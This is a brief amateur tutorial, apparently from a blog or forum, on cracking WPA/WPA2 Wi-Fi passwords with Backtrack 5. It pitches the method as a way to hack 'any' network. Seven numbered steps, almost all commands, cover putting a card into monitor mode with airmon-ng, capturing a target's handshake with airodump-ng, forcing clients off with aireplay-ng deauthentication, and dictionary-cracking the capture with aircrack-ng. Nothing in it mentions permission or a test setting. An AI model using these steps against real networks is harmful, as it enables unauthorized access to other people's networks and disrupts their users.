hack wi-fi wpa/wpa2 password

1>> Hack Wi-Fi WPA/ WPA2 Password *************** ********* Hello everybody, this is today i'm gonna show you how to hack any wi-fi passwords using backtrack 5 What We Need to hack Wi-fi Password? 1)Backtrack 5 [ R1 or R2] 2)Compatable Wi-fi Card So Let's Start... 1st open Terminal and Then Follow My Steps : 
1)In Terminal type : airmon-ng there we can see interfaces 
2)Then type :airmon-ng start wlan0 It must found proceses 3)then we type : airodump-ng mon0 it will start scanning wi- fi networks 
4)copy bssid and tpye : airodump-ng -c (channel) -w (file name) --bssid (bssid) mon0 
5)type : aireplay-ng -0 5 -a (bssid) mon0 
6)click on places home folder drag in terminal wpa-01.cap in terminal and type : aircrack-ng (file Directory) or drag file in terminal
7)type in terminal : aircrack-ng (filename)*.cap -w (dictionary location) And Hit Enter! Success!